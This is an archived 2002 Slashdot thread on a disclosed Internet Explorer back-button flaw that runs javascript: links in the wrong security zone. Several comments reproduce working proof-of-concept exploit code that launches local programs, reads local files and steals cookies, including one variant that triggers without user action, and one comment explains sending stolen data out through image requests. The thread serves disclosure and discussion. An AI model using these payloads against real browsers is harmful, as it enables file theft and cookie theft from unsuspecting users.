Forgot your password?
typodupeerror
Microsoft

Don't Hit That Back Button 756

Posted by timothy
from the burn-your-bridges dept.
Saint Aardvark writes: "From the Bugtraq mailing list comes this warning: 'Using the Back Button in IE is dangerous'. When hitting the back button, javascript links will be executed in the security zone of the last url viewed. Proof-of-concept included in the warning will execute minesweeper or read your Google cookies."
This discussion has been archived. No new comments can be posted.

Don't Hit That Back Button

Comments Filter:
  • Go Mozilla! (Score:3, Insightful)

    by Anonymous Coward on Tuesday April 16, 2002 @11:12PM (#3356036)
    With every passing week, MS gives us more and more reasons not to use their POS browser. Whereas Mozilla is quickly becoming the undisputed king; tabbed browsing, filtering popups, better security options, and .. oh yeah, it's open source.

    Take that, Microsoft. ;-)
  • by webword (82711) on Tuesday April 16, 2002 @11:14PM (#3356045) Homepage
    Attack of the Back Button [webword.com] -- "Getting stuck on a web page can be painful. The back button doesn't always work. While there are many ways to escape from web pages, many users don't know the tricks. A company can stop hurting users by doing more testing, using proper development methods, and being aware of the issue."
    • by Faust7 (314817) on Tuesday April 16, 2002 @11:41PM (#3356217) Homepage
      When I spent hours in labs browsing with Netscape 2.0...

      When a webpage wasn't something you had to figure out how to escape...

      When 'Back' meant back...

      When there was just smooth uninterrupted navigation, and no pop-ups or banners...

      When people could say pretty much say anything anywhere, no DMCA...

      ... remember that?
    • by WhaDaYaKnow (563683) on Wednesday April 17, 2002 @12:34AM (#3356365)
      users who get stuck on pages simply close the browser window.

      Which is exactly what you want because this generates an onunload event. At which point you can open a new window, which should preferably load a pop-under window, which has a hidden Flash object that plays a very loud siren.

      Then when the user moves the mouse cursor outside of the window, you maximize the window and load a duplicate pop-under, which also plays the siren. Because although one siren is good, two sirens are better.

      Now that you start getting the attention of the user, you load a full screen pop-up window, without borders, and in this window you will load an images to make it look exactly like a browser.

      In the meantime the volume on the (hidden) Flash players should have increased to the absolute maximum, and you could even consider switching one over to a screaming cat. (Obviously the onunload handlers for the pop-under windows should open AT LEAST two pop-under of similar quality.)

      Back to the front page,- now that you have full control over the browser look and feel, you can conveniently move any 'close' or 'back' buttons out of the way as soon as the mouse pointer gets too close.

      At this point in time, you have increased the chances of getting a credit card number out of the user significantly, so it's up to you to present the user with the ability to enter their information.

      The best way to achieve this is to just have the text box that you want filled out follow the mouse. Not all users are very smart, so keep what you want done obvious.

      Once the information is obtained, change the page to read something among the lines that the user should absolutely NOT attempt to do anything, but most of all, not close any windows!, because his credit card may be charged twice.

      After a last check that all pop-unders with screaming Flash players are still going strong, you are now done.
    • I agree the back button thing can be irritating, but sometimes you can't really work around it, e.g. if the page is dynamic and the data can change and the back button can become a data-integrity nightmare. Sure it can help to use transaction ID's and make sure nothing happens twice, but it's annoying to me as a web developer. Sometimes I wish there never was a back button.

      For a concrete example of problems w/ the back button, check out acmemail. It's a cool webmail client, uses perl and pop3, but if a user clicks back, usually after reading a message and wanting to get back to the message list, it will cause strange problems and eventually auto-log them out. It took a long time to teach the outside sales staff at work that you just need to click the "inbox" button instead of back, and to this day every time there is a meeting they mention that webmail is broken, then I check it out, find out they're using back, and explain the solution. Then the next meeting comes and it's square one all over again...
      • learn the user interface of your development platform, adhere to its principles even at the risk of causing you, the developer, more work and you'll have much happier users.
      • by jesser (77961) on Wednesday April 17, 2002 @12:57AM (#3356458) Homepage Journal
        Hotmail does not have this problem. Netscape webmail does not have this problem. It's a bug in your code, and I bet you would have saved time by fixing it rather than trying to "teach" your users how to work around it.
        • Actually, it may not be a bug. His webmail program may use POST instead of GET to pass data between screens. This is more secure than using GET (remember the Hotmail bug where you could read anyone else's mail by figuring out the URL to it? That was a GET problem.) Most browsers don't handle POST all that well when navigating through cached pages. Although this is really a browser issue, you are correct in that he could probably adjust his webmail to compensate if he is clever.
    • by Arker (91948) on Wednesday April 17, 2002 @12:59AM (#3356470) Homepage

      Opera [opera.com] cured that problem quite effectively. Since I started using it as my main browser, I can't remember finding a page where back wouldn't work properly. It ignores scripts that try to take it over, and it tracks documents-in-frames properly too, you can go forward and back independently in different frames on framed pages.

    • I'm not sure about the other (commercial or open source) browsers. However, I use a Mac OS X Cocoa broswer, called Omniweb [http://www.omnigroup.com/products/omniweb/]. It has a feature where the user can stop loading individual parts of a page. For instance, say you're loading a page with 60 images. Normally, you'd click the stop or back button in a browser. In Omniweb, the text would still load - but you could stop loading some of the larger images.
  • So it may not matter.

    http://arizona.diamondbacks.mlb.com crashes both IE6 and IE5.

    I don't know why. Could be the address it crashes at has a hardware problem on my machine. But why is java poking around my hardware?

    Java is insecure, Windows is insecure, the Internet is insecure, and everyone using them has always known that.

    --Blair
  • by Anonymous Coward on Tuesday April 16, 2002 @11:16PM (#3356060)
    I don't have anything special in my Google cookies and I like to play minesweeper.
  • by Agelmar (205181) on Tuesday April 16, 2002 @11:19PM (#3356081)
    Would a vulnerability still exist if a user wrote a page that redirected the browser to some page with malicious code in the target, and then, with a little bit of javascript set the location to javascript:history.back() (i.e. on mouse movement or whatever). Would this cause the javascript to run under the improper security settings, or does the user actually have to hit the "back" button?
  • Proof-of-Concept (Score:2, Redundant)

    by acm (107375)
    <html>
    <h1>Press link and then the backbutton to trigger script.</h1>
    <a href="javascript:execFile('file:///c:/winnt/system 32/winmine.exe')">
    Run Minesweeper (c:/winnt/system32/winmine.exe Win2000 pro)</a><br>
    <a href="javascript:execFile('file:///c:/windows/syst em32/winmine.exe')">
    Run Minesweeper (c:/windows/system32/winmine.exe XP, ME etc...)</a><br>
    <a href="javascript:readFile('file:///c:/test.txt')"& gt;
    Read c:\test.txt (needs to be created)</a><br>
    <a href="javascript:readCookie('http://www.google.com / )">
    Read Google cookie</a>

    <script>
    // badUrl = "http://www.nonexistingdomain.se"; // Use if not XP
    badUrl = "res:";
    function execFile(file){
    s = '<object classid=CLSID:11111111-1111-1111-1111-111111111111 ';
    s+= 'CODEBASE='+file+'></OBJECT>';
    backBug(badUrl,s);
    }
    function readFile(file){
    s = '<iframe name=i src='+file+' style=display:none onload=';
    s+= 'alert(i.document.body.innerText)></iframe&g t;';
    backBug(badUrl,s);
    }
    function readCookie(url){
    s = '<script>alert(document.cookie);close();< "+"/script>';
    backBug(url,s);
    }
    function backBug(url,payload){
    len = history.length;
    page = document.location;
    s = "javascript:if (history.length!="+len+") {";
    s+= "open('javascript:document.write(\""+payload+"\")' )";
    s+= ";history.back();} else '<script>location=\""+url
    s+= "\";document.title=\""+page+"\";<"+"/script> ';";
    location = s;
    }
    </script>
    </html>
  • If they had waited til tomorrow, they'd have known about M$'s fix for this dangerous security hole. SP3 for IE6 patches it up fine though. That's right, when you mouseover the back button, a popup text alerts you that it might be dangerous (that M$ can't be held responsible for damages resulting from its use?). Also, the "Safe Back Button" is now next to it, but to get it out the door in time, they've had to rush. Yes folks, it uses the exact same codebase as the back button, and no, I don't see that as a problem. Besides, if it is, they'll fix it with SP4, and the "Really Safe Back Button". Right along side the other two, for backward compatibility.
    • by Wee (17189) on Tuesday April 16, 2002 @11:43PM (#3356228)
      If they had waited til tomorrow, they'd have known about M$'s fix for this dangerous security hole.

      If MS had responded back in November when he made the sploit known, or if they had even thought once about security when designing IE, or if they had any kind of decent security model in the OS, or, or, or... then this never would have happened in the first place and MS wouldn't have to patch the barn door after the horse had left. But don't blame the guy who discovered this by trotting out that "don't tell anyone about the security hole until the vendor can fix it" pablum. Security through obscurity isn't, especially when that obscurity is driven my the needs of the marketing group.

      You find a hole, you do due dilligence, they don't respond (he gave them months to fix it fer cryin' out loud), you publish. Then, most likely, the vendor publishes a fix based on the real needs of users and not the perceived needs of some business unit looking at a bottom line.

      It boggles my mind that one could have a machine rooted simply by browsing the web. A die-hard MS nut at work today was giving me grief over the fact that Red Hat has "published" 500MB of "updates" to "Linux" since version 6.2 and how could the OS be so insecure as to need that many updates... I didn't even have the energy to respond. And I'm all for people running with whatever works for them, but at least I know for a fact that Opera on my machine runs in userland and won't get me rooted. And hopefully, using your favorite browser won't mean data loss and/or a re-image of the OS as well.

      But to blame the guy who discovered it? I mean, honestly, for fsck's sake: we're talking about a web browser, you know? Completely compromising a machine via a back button? And it's been known for five months?!? At least MS could tell users to run another browser until they can fix the issue. Or turn scripting off. Or whatever. The fact that it could happen in the first place is just obscene. Or criminal. MS leaves a bad taste in my mind sometimes...

      -B

      • I agree totally with your assessment. However, this happens over and over... in the course of your average week!. I'm sorry if I can't even be serious about this anymore, but I hope you realize I was making a rather dumb joke. I'm kinda suprised that it was even modded up. Really. The entire M$ security situation is so sick anymore, that my humor is probably on the level of really lame vaudeville comedy or something.

        Remember these two words. "Trustworthy computing".
        *laugh* *laugh* *sob* *sob* *bang* (putting pistol to head, and pulling the trigger, rather than have to support M$ products)
        • I'm sorry if I can't even be serious about this anymore, but I hope you realize I was making a rather dumb joke.

          Yes,I saw the joke. I liked it too. I just used your post to vent something that's been bugging me for a long time. Your post was the minor imperfection on the beer glass of the world which allowed the seed of my thought to find purchase and rise to the surface as a big festering bubble of disgust. How very Zen. I think I'll go write Haiku...

          Seriously, though, I once had to spend a week testing alternate browsers so that I could develop a test plan to replace IE on the machine in our NOC (after one of them got rooted when an operator was browsing warez and pr0n sites). I'm bitter about IE. And I had a nasty day at work (wrestling with CorporateTime's horrible attempt at an API, if you must know) so I had to vent. And for that I must thank you. I feel much better without all that painful gas pressure.

          -B

      • Well, they knew about this in November, they just spent the entire month of February 'fixing bugs'. Yet this still exists in a fully patched IE6. Hmmmmm. Not very effective, were they?


        Maybe the "Act" they performed was mostly theatrical.

  • by ekrout (139379) on Tuesday April 16, 2002 @11:22PM (#3356107) Journal
    I copied the source from the (now Slashdotted) page and created an HTML file at http://www.eg.bucknell.edu/~ekrout/IE_Hack.html [bucknell.edu] for those of you with IE to test it out. If you want, reply to this post and let everyone know if it works with your browser, Windows version, etc.

    This is a very troubling security hole for Windows users who prefer IE (99.7% of them).

    Founder, monolinux [monolinux.com]
  • by Ali Jenab (565034) on Tuesday April 16, 2002 @11:23PM (#3356110)
    It's been almost five years since Microsoft released their first acknowledgement of a security vulnerability in Internet Exploder. I remember the day that happened clearly; if only I had the foresight at the time to see that the same exact scene would play out, on the average, once every two weeks for the next five years. I could have avoided disaster for my company.

    Back in 1999, when the dot-coms were flying high and my company resembled an Internet startup (although we had been in business since 1992), we hastily set up new offices and cubicles with little regard for information security. After all, what was the worst that could happen - an email worm? Well, we quickly found out: a malicious hacker had targeted our company, and sent an email to "all @" my domain containing a link to a supposed Yahoo News story. Unfortunately, this link sent the employees to a malicious site that caused their insecure IE browsers to yield control of nearly every Windows PC in the company to the intruder. They stole and destroyed much important data, and took over a week of nonstop unpaid overtime to fix things.

    A few weeks after the incident, our vice president of operations mandated a Mozilla-only policy. Employees were forbidden from running IE, Lynx (another notoriously insecure browser), and Konqueror (which crashed constantly anyway). Since that time, we have had zero browser related security issues, and employees waste far less time surfing the web, mainly because a lot of time-wasting sites only work in Microsoft standards-compliant browsers. Converting to Mozilla has been a win-win situation, and I fully expect the same to be happening across America after this latest IE security breach. Enough is enough; we need to take back control of our networks.

    /ali

    • Mozilla has its share of problems too; it's just that the media is so busy fawning over the bleeding-heart "David vs. Goliath" vision of Mozilla (much like that given to Linux in the old IPO rush days) to highlight these troubles. One particularly nasty problem Mozilla has is the ability to encode arbitrary data into a URL starting with "data:". This misfeature alone is enough for me to keep Mozilla off all my high-security computer systems until the project decides to either a) remove this "feature" as the debugging relic it is or b) add a preference to disable it, like Javascript or animated images.

      For those not aware of his problem, here's a synopsis. Mozilla will parse a URL of the form "data:content/type;encoding,rawdata and treat it as a file of the type given. For example, the URL "data:text/html;identity,<meta http-equiv="refresh" content="0;http://www.google.com/">" will create an HTML page that will immediately shunt you to google.com. Open up Mozilla and paste that URL in if you don't believe me. Using an encoding type of "base64", images, data files and even executables can be hidden inside a URL. Trolls have already exploited this [slashdot.org] numerous times for mundane things like embedding goatse.cx links; imagine if some malicious hacker were to design a page with a trojan .exe or shellscript embedded in an innocuous-looking URL!

      While "data:" URLs can be filtered out with Proxomitron or avoided by careful scanning of the status bar before clicking any link, I think such a glaringly wide target for abuse doesn't belong in any project past the alpha-test stage, much less one that is getting ready to make a highly-publicised 1.0 release in the upcoming weeks. Until this hole is patched, I would recommend Konqueror to you. It no longer "crash[es] constantly anyway", as you put it; the 3.0 release is incredibly stable, supports made-for-IE sites much better than Moz, and also has more than adequate standards support. I would suggest rethinking your Mozilla deployment strategy and giving Konq another go.

      • by Chuck Chunder (21021) on Wednesday April 17, 2002 @12:41AM (#3356390) Homepage Journal
        Even if an executable were encoded in the link would the end user not be simply warned that they are attempting to download an executable, as with any other URL that served them an executable?

        It's only a security hole if delivering the content via the data URL is treated differently than getting it via an http, ftp or javascript one.
        • Look at the exploit code.

          See how the script calls an alert() with the contents of a local file from your drive? Thats very very bad.

          If a remote script can read a file off your hard drive, it can then write bits of data into an img tag on the page, passing your stolen information to a remote server (via the image's src element) without your knowledge. Very very bad.
      • by Anonymous Coward on Wednesday April 17, 2002 @12:46AM (#3356409)
        First off, had you bothered to do any research, RFC 2397 defines the data: URL scheme--this isn't some Mozilla debug thing, as you foolishly asserted. Second, you haven't actually demonstrated how this behaves differently from a normal URL. If you click http://this.is.a.url/ and the document at the end has a meta refresh to goatse.cx, how is that different from a data: URL (other than the data:URL being easier to spot)? Same deal with a shell script or .exe; it won't autorun any more than if you clicked on a link and got in through HTTP.

        I'm not sure whether you actually believe you've found a vulnerability, or are just trolling for Konqueror; either way, it illustrates the weakness of /. moderation in succumbing to a good line of BS.
      • Try using the same thing with IE, using about: instead.... "
        about:text/html;identity,<meta http-equiv="refresh" content="0;http://www.google.com/">
        That just loops forever, refreshing the page, but you can put any valid HTML/JavaScript/VBScript code that you want in that and it does it.

        This code is kept in the Internet Zone, so you can't be as malicious as you'd like. It does make an HTML page w/ whatever you put.
    • Somehow I doubt this story. I have seen Netscape 4.X mandated, but Netscape itself had several security issues itself (brown oriface) Back in 1999 Mozilla sucked. It is only in th .9X braches that Mozilla/Netscape 6.X became usable. Whose environment offers a choice between Konq. Lynx Ie. and Mozilla, wondering where he sampled IE/Linux, Lynx and Konq/Win32. Finally, any self respecting company should have had their mail server configured to throw out those messages as junk.

      Frankly I love Mozilla, (especially with the Pinball theme). It has a great interface, and has become quite stable. However from a security standpoint it is still up in the air as to how secure it will be.

      Mozilla has a bright future. I would like to see it replace explorer as well IE. It would really screw Microsoft to lose the UI along with the browser.
    • uh-oh...what about lynx? First I'd heard about lynx having security issues...could someone fill me in?
  • by Omerna (241397) <clbrewer@gmail.com> on Tuesday April 16, 2002 @11:23PM (#3356112) Homepage
    "Microsoft contacted 12 Nov 2001, additional information given 25 Mar 2002."

    That's pretty long time (5-6 months, too lazy to figure out the actual number of days etc.) that Microsoft has done nothing (at least not a fix). Especially because this overlaps the time when they decided to make their people go to security workshops (or some such). If they can't even fix a known, reported bug in the security how can they find them on their own and fix them? Or not write them in the future?

    Oh yeah, it'd be nice to know if I can get around this by doing "right-click" / "back" or if that is affected and not JUST the toolbar.
    • "Microsoft contacted 12 Nov 2001, additional information given 25 Mar 2002."

      Well that links in well with the memo Bill Gates sent [wired.com] on January 15th. What was it he said?

      "We have done a great job of having teams work around the clock to deliver security fixes for any problems that arise. Our responsiveness has been unmatched ..."
      Hmm - that was before the new emphasis on security ...
      "If we discover a risk that a feature could compromise someone's privacy, that problem gets solved first."

      Given those comments, how can they not have done anything about this? Doesn't sound like a fundamental problem that would take a massive effort to fix.
    • MicroSoft said they were stopping all other work while they found and fixed security holes lurking undiscovered in their software. They're obviously not going to take time out of this important project to fix known security holes. Things like releasing patches and applying them to their websites will have to wait until the entire codebase has been carefully examined.

  • by 56ker (566853) on Tuesday April 16, 2002 @11:25PM (#3356125) Homepage Journal
    " 'Using the Back Button in IE is dangerous'." - since when was using anything in IE safe? ;o)
  • Other then just clicking on the MS link, is there a site devoted just to the fuckups of MS? From calling the GPL cancer to dumb ass bugs like this, I would love a good site so that every time I see a post on shacknews that says "People just hate MS because everyone hates them, Windows 98 was fine and worked great for me"
    • by mrogers (85392) on Wednesday April 17, 2002 @12:19AM (#3356311)
      Other then just clicking on the MS link, is there a site devoted just to the fuckups of MS?

      Yes there is, and you're looking at it right now.

    • Re:A complete list (Score:4, Informative)

      by jesser (77961) on Wednesday April 17, 2002 @12:53AM (#3356441) Homepage Journal
      I wouldn't call this a "dumb ass bug". It's subtle, and finding it requires being aware of several things and thinking to combine them:

      * javascript: URLs run in the security domain of the page from which they originate. (Or, if they're stored in the user's bookmarks, they run as part of the current page, letting them do cool things [squarefree.com] like show the HTML source of the selection.)

      * If a javascript: URL returns a non-null value, it acts like a data: URL. For example, javascript:1+2;3+4 is equivalent to data:text/html,7. (Most of the time, this is just an annoyance, forcing you to put "void 0" at the end of a javascript: URL unless you're sure that the last calculation always returns null.)

      * It is possible to go "forward" from a javascript: URL.

      * The Back button incorrectly runs a javascript: URL in the security domain and context the current page instead of running it with no context or with the context of the page that put the URL in session history.

      The fact that the bug was present in both IE and Mozilla until Mozilla 0.9.3 is strong evidence that the hole is not an obvious "dumb ass bug". I only discovered the hole because I make bookmarlets (javascript: URLs) in my free time and was being paid by Netscape to work on Mozilla security last summer.
      • Re:A complete list (Score:2, Insightful)

        by maxpublic (450413)
        I think it might qualify as a "dumb ass bug" because despite having been informed of the problem last November MS failed to fix the exploit - even after their two-month 'security review'.

        So the bug went from 'subtle' in November to 'dumb ass' today because the lackwits in Redmond completely ignored it - hence the label. As in, "only a dumb ass would ignore this bug".

        Max
  • At first I thought wuh? But of course I was in Mozilla, so I didn't see the problem. IE executed it exploit right away.

    Free Software ought to get better press from this, as it underscores a major truism.

    In Free Software, new versions are generally made and released due to added functionality or fixed bugs. Anything else is a waste of time for the programmers, right?

    With the exception of a very huge vulnerability that was finally fixed with IE SP2 (though who knows what else that contained), new software versions from Microsoft seem due to an entirely different set of reasons, like:

    - breaking more fledgling standards
    - making news
    - embracing/extending
    - press releases
    - etc

  • yay for NAI (Score:4, Interesting)

    by diesel_jackass (534880) <travis...hardiman@@@gmail...com> on Tuesday April 16, 2002 @11:32PM (#3356165) Homepage Journal
    http://diesel.2y.net/mine.htm [2y.net]

    my McAfee VirusScan already checks for this bug.
  • by aozilla (133143)
    I tried to reply to say "At least slashdot doesn't have any bugs in it", but the reply button wasn't working...
  • by jesser (77961) on Wednesday April 17, 2002 @12:15AM (#3356296) Homepage Journal
    I found the same bug in Mozilla last summer while I was working at Netscape. My boss fixed it within a week, so versions after Mozilla 0.9.3 did not have the bug. It was bug 88167 if you're interested. I'm not sure why I didn't notice that IE was vulnerable as well. Anyone want to go through old Mozilla security holes and see how many of them affect IE 6?

    Anyway, keep using that Back button. If you're using IE to browse warez/porn, you have more to worry about than someone looking at your cookie for another site. An attacker could just copy the IE exploit of the week from
    http://jscript.dk/unpatched/ [jscript.dk]. I believe that page has had current IE security holes that allow running arbitrary instructions for two months straight. (That means you can keep up with the latest IE patches, but if an attacker reads jscript.dk and can get you to click a link in AIM or read a message in OE, the attacker wins.)

    By the way, what's with IE turning every cross-domain hole into a full remote compromise by letting sites link to res: urls? Current versions of Mozilla block links to chrome/res and even file, so a cross-domain hole doesn't even let sites read local files.
  • by cscx (541332) on Wednesday April 17, 2002 @12:32AM (#3356352) Homepage
    Here is a way do disable this nasty bug. It should work in all affected versions of IE:

    1. Right click the toolbar, and select "Customize"

    2. Select "Back" in the list marked "Current toolbar buttons"

    3. Click the "Remove" button.

    4. Click close.

    There! Now that bug has been squashed. I suggest you implement this in all corporate deployments of IE pronto.
  • the more i love my mac. none of this did a bloody thing on osx / ie 5.1.4

    maybe it's the fix we got today, though

  • by coene (554338) on Wednesday April 17, 2002 @12:41AM (#3356393)
    .. do a little something like this:

    <a href="javascript:execFile('file:///c:/winnt/system 32/net send * \"HI EVERYBODY IN THE OFFICE! I AM LOOKING AT PORN!\"')">CLICK FOR BOOBIES</a>
  • heh (Score:5, Funny)

    by elmegil (12001) on Wednesday April 17, 2002 @12:44AM (#3356402) Homepage Journal
    Good thing security is MicroSoft's number one focus now!
    • Good thing security is MicroSoft's number one focus now!

      You made a funny. In all seriousness, does anyone have a pointer to Microsoft's summary of its audit activities in the month of February? Did they ever issue a press release trumpeting its accomplishments during the month of intense review?

      I'm not looking to bash, I just want to know what they managed to accomplish. Near as I can tell, the only benefit to me was a series (three?) of Internet Explorer patch roll-ups. Anyone have a fuller clue?

  • Step One: Move the mouse pointer to the toolbar containing the forward and back buttons. Point to any part of the toolbar EXCEPT either the forward or back buttons. Empty areas or other buttons are fine.

    Step Two: Use the mouse button you have configured to bring up the context menus. On most systems this will be the right mouse button and is often refered to as "Right Clicking".

    Step Three: From the context menu select the option CUSTOMIZE...

    Step Four: In the Customize Toolbar window will be two boxes full of items. Use the scroolbar to browse the contents of the right-most box and look for the button that says "BACK". Highlight the "BACK" button item.

    Step Five: FNORD

    Step Six: Press the REMOVE button between the left and right item boxes.

    Step Seven: Press the upper right most button marked "CLOSE".

    Your browser should now be immune to this exploit. Share and Enjoy.
  • The exploit also works in IE5.5.
  • by toupsie (88295) on Wednesday April 17, 2002 @01:20AM (#3356533) Homepage
    Damn it! I went to the test page and tried all the links with the back button. Not one of them worked. Not a one. There is a bug in the bug when it comes to Mac OS X and Internet Explorer. Once again as a Mac user, I am getting deprived of the same experience that Windows users get with Internet Explorer.
    • From Software Update:

      This latest version - version 5.1.4 - resolves all potential security vulnerabilities in previous versions of Internet Explorer 5. This includes vulnerabilities that might have caused Internet Explorer to stop responding or caused a memory problem that compromised the security of the computer.

      However, I rechecked the back button bug that Mac OS X users experience where minesweeper will not launch on the test pages. Mac OS X IE v5.1.4 does not resolve the user experience issue for Mac users.

  • by rahul_inblue (446917) on Wednesday April 17, 2002 @01:46AM (#3356592)
    The flaw can be exploited *with out* user interaction ,, use about: and use a body-onload javascript to execute the back button ,, poc html page is attached. u know what this means :P .

    ----cut here---

    Press link and then the backbutton to trigger script.

    Run Minesweeper (c:/winnt/system32/calc.exe Win2000 pro)


    Run Minesweeper (c:/windows/system32/calc.exe XP, ME etc...)


    Read c:\test.txt (needs to be created)


    Read Google cookie

    // badUrl = "http://www.nonexistingdomain.se"; // Use if not XP
    badUrl = "about: ";
    function execFile(file){
    alert (badUrl);

    s = '';
    backBug(badUrl,s);
    }
    function readFile(file){
    s = '';
    backBug(badUrl,s);
    }
    function readCookie(url){
    s = 'alert(document.cookie);close();';
    backBug(url,s);
    }
    function backBug(url,payload){
    len = history.length;
    page = document.location;
    s = "javascript:if (history.length!="+len+") {";
    s+= "open('javascript:document.write(\""+payload+"\")' )";
    s+= ";history.back();} else 'location=\""+url
    s+= "\";document.title=\""+page+"\";';";
    location = s;
    }

    ---cut here---
  • by BCTECH (540338) on Wednesday April 17, 2002 @03:18AM (#3356839) Homepage
    I have not seen a popup add in years. I was not vulnerable to the .eml bugs. I laugh at websites that are blank for people like me who have java script turned off. I have always thought that Java Script, captive X etc were the scourge of the internet.

    Ever since we have had the option I have used the built in security functions of IE. Tools/Internet Options/Security

    Turn off everything for your internet zone. Add all your sites that you visit regularly to "Trusted Sites" and enable all the bells and wistles you want.

    If a site breaks because they have not done simple checks to see if you have java script enabled then screw them and move on to a site that is run by someone who has an element of style and thoroughness.

    Here is a wish list I do have for IE though. One power tool I have allows you to toggle images on and off with a click . I would like such a power tool that would enable/disable java script with a click and another to add trusted zones on the fly. If anyone out there has the coding capability I think you may have something.
    • Unfortunately, you are vulnerable to this one.

      The insidious thing about this bug is that it breaks your security model. When you press back, the page you go back to is run in the security zone of the page you go back from. So, even if block "everything" in the "Internet Zone" site, if the next page you visit is in your trusted zone and you press the back button, it will run ActiveX controls or pop up or whatever bells and whistles are allowed on the page you came from.

      Furthermore, note that Internet Explorer error pages (such a 404 Page Not Found) are automatically in the trusted zone. So, for you to be safe with your current policy, you need to do the following as well:

      1. Avoid the back button from trusted pages
      2. Don't click on broken links or anything else that gets an error page
  • by Otis_INF (130595) on Wednesday April 17, 2002 @03:57AM (#3356906) Homepage
    Buffer overflows... these are implementation-specific bugs and should be easily patchable. However, MS put a lot of functionality into IE (for the most part because it's bundled) and when you look at the separate parts of all this functionality, you don't see exploitable stuff. However, combining parts of the functionality CAN LEAD to a situation that wasn't forseen, and perhaps will lead to a vulnerability.

    It's easy to say "Crap!" but it takes a wicked mind to combine the right parts of the functionality of a program to create a hole, a mindset which is obviously not present under the IE designers. (but which should be though).

    As a true microsoftie I more and more begin to realize that the bundling should be undone, so the set of functionality build into the webbrowser is simply focussed on what it should do: rendering pages.

    Using another browser is not the answer however. The only browser that comes close to IE6 is Netscape/Mozilla, however these browsers are also packed with features you'll probably never need but CAN probably be used to create a hole when combined with other functionality in the program.

Beware of Programmers who carry screwdrivers. -- Leonard Brandwein

Working...